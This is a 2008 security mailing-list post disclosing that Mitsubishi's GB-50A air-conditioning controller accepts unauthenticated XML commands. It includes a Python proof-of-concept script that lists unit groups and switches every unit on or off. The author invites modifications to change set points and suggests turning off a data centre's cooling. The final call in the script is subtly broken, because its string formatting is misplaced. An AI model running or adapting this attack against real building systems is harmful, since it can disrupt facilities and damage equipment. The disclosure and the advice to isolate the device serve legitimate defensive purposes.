

hacking the mitsubishi GB-50A

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-03/msg00293.html>

- *From:* Chris Withers <chris@xxxxxxxxxxxxxxxxxxx>
 - *Date:* Sat, 22 Mar 2008 01:50:13 +0000
-

Hi All,

Well, it's been over 4 months since my plea for a security contact at Mitsubishi Electric to come forward. Since no one has, I thought I'd release a POC for hacking one.

It's not exactly hard, the web controller uses a nasty set of Java applets to interact with itself. The shocking thing is that these communicate using a series of xml packets and absolutely zero authentication or encryption :-)

Oh, and just in case you thought about maybe putting something secure like an ssl webserver proxying the thing, these java applets are hard coded to connect back to port 80 on the originating host using HTTP :-)

Still, you should get an idea of how the box is **supposed** to be used by the fact that its ip address is set with dip switches where the 192.168.1 bit is hard coded!

sigh

Well, please find attached a little python script that will let you turn on or off every aircon unit attached to a GB-50 that you know the ip address of. Minor modifications will let you change the set point and mode too, so you might be able to turn off a data centres aircon **or** turn an office's aircon up to 28'C and then turn it all on ;-)

The plus side is that because it's so rediculously insecure, it's not that hard to build a secure web app that can interact with it and then just firewall it off from anywhere harmful...

If you have a GB-50 or a GB-50A, please make very sure you keep it on its own private network until Mitsubishi Electric find a clue stick to hit themselves with!

cheers,

Chris

—

Simplistix – Content Management, Zope & Python Consulting
– <http://www.simplistix.co.uk>

""""

usage: python pwnz.py 192.168.1.x [on|off]

""""

hacking the mitsubishi GB-50A

```
# you can get BeautifulSoup from:
# http://www.crummy.com/software/BeautifulSoup/#Download
from BeautifulSoup import BeautifulSoup
from httplib import HTTPConnection
import sys

ip = sys.argv[1]
template = '<Mnet Group="%%s" Drive="%s" />' % sys.argv[2].upper()

def post(data):
    c = HTTPConnection(ip)
    c.request('POST', '/servlet/MIMEReceiveServlet', data, {'content-type': 'text/xml'})
    return BeautifulSoup(c.getresponse().read())

# first out what groups there are
soup = post("""
<?xml version="1.0" encoding="UTF-8"?>
<Packet>
<Command>getRequest</Command>
<DatabaseManager>
<ControlGroup>
<MnetList/>
</ControlGroup>
</DatabaseManager>
</Packet>
""")
group_nums = [(g['group']) for g in soup.findAll('mnetrecord')]
# now go through and set all the on/off bits to what we were told
soup = post("""
<?xml version="1.0" encoding="UTF-8"?>
<Packet>
<Command>setRequest</Command>
<DatabaseManager>
%s
</DatabaseManager>
</Packet>
""") % ('\n'.join([template%g for g in group_nums]))
```